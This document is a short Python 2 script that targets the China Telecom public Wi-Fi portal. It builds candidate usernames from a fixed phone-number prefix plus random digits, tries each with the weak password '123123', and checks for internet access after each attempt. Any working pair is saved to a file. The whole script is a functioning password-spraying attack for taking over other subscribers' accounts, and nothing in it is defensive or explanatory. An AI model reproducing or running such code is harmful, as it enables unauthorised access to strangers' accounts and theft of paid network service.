#!/usr/bin/python
import httplib, os, sys, re, random, urllib2

wlanUrlRegion = {'gd':'wlan.gd.chntel.com',
                 'bj':'wlan.bj.chntel.com',
                 'tj':'wlan.tj.chntel.com',
                 'hi':'wlan.hi.chntel.com',
                 'he':'wlan.he.chntel.com',
                 'gx':'wlan.gx.chntel.com',
                 'sx':'wlan.sx.chntel.com',
                 'sc':'wlan.sc.chntel.com',
                 'nm':'wlan.nm.chntel.com',
                 'cq':'wlan.cq.chntel.com',
                 'ln':'wlan.ln.chntel.com',
                 'gz':'wlan.gz.chntel.com',
                 'jl':'wlan.jl.chntel.com',
                 'yn':'wlan.yn.chntel.com',
                 'hl':'wlan.hl.chntel.com',
                 'xz':'wlan.xz.chntel.com',
                 'hb':'wlan.hb.chntel.com',
                 'sn':'wlan.sn.chntel.com',
                 'hn':'wlan.hn.chntel.com',
                 'gs':'wlan.gs.chntel.com',
                 'ha':'wlan.ha.chntel.com',
                 'qh':'wlan.qh.chntel.com',
                 'js':'wlan.js.chntel.com',
                 'nx':'wlan.nx.chntel.com',
                 'sd':'wlan.sd.chntel.com',
                 'xj':'wlan.xj.chntel.com',
                 'fj':'wlan.fj.chntel.com',
                 'ah':'wlan.ah.chntel.com',
                 'jx':'wlan.jx.chntel.com',
                 'am':'wlan.am.chntel.com',
                 'sck':'wlan.sck.chntel.com'
                 }

cwUrlRegion = {'gd':'cw.gd.chntel.com',
               'bj':'cw.bj.chntel.com',
               'tj':'cw.tj.chntel.com',
               'hi':'cw.hi.chntel.com',
               'he':'cw.he.chntel.com',
               'gx':'cw.gx.chntel.com',
               'sx':'cw.sx.chntel.com',
               'sc':'cw.sc.chntel.com',
               'nm':'cw.nm.chntel.com',
               'cq':'cw.cq.chntel.com',
               'ln':'cw.ln.chntel.com',
               'gz':'cw.gz.chntel.com',
               'jl':'cw.jl.chntel.com',
               'yn':'cw.yn.chntel.com',
               'hl':'cw.hl.chntel.com',
               'xz':'cw.xz.chntel.com',
               'hb':'cw.hb.chntel.com',
               'sn':'cw.sn.chntel.com',
               'hn':'cw.hn.chntel.com',
               'gs':'cw.gs.chntel.com',
               'ha':'cw.ha.chntel.com',
               'qh':'cw.qh.chntel.com',
               'js':'cw.js.chntel.com',
               'nx':'cw.nx.chntel.com',
               'sd':'cw.sd.chntel.com',
               'xj':'cw.xj.chntel.com',
               'fj':'cw.fj.chntel.com',
               'ah':'cw.ah.chntel.com',
               'jx':'cw.jx.chntel.com',
               'am':'cw.am.chntel.com',
               'sck':'cw.sck.chntel.com'
               }

try:
    check = urllib2.urlopen('https://wlan.ct10000.com/', timeout=5)
    str = check.read()
    match = re.search("(?<=paramStr\\=).*?(?=\")",str)
except Exception, e:
    print e
    match = 0
    
    
password='123123'
basenumber='18994693'


if match:
    paramStr=match.group()
    for i in range(9999):
        substr="%03d"%int(random.uniform(0,999))
        username=basenumber+substr
        data="/authServlet?PassWord="+password+"&PassWord1=&PassWord2="+password+"&UserName="+username+"&UserName1=&UserName2="+username+"&UserType=2&isChCardUser=false&isVerifycode=false&isWCardUser=false&paramStr="+paramStr+"&prov=ah&province="+cwUrlRegion['js']+"&verifycode="
        print '%d times'%i
        print username
	
        wifiurl = "https://wlan.ct10000.com" + data
            
        try:
           wifidata= urllib2.urlopen(wifiurl, timeout=1)
        except Exception, e:
            print e
            
        try:
            wifistate = urllib2.urlopen("http://www.baidu.com/", timeout=1)
            data = wifistate.read()
            match = re.search("baidu", data)
            if match:
                open('account.txt', 'a').write('%s,%s\n'%(username,password))
                sys.exit()
        except Exception, e:
            print e
else:
    sys.exit()
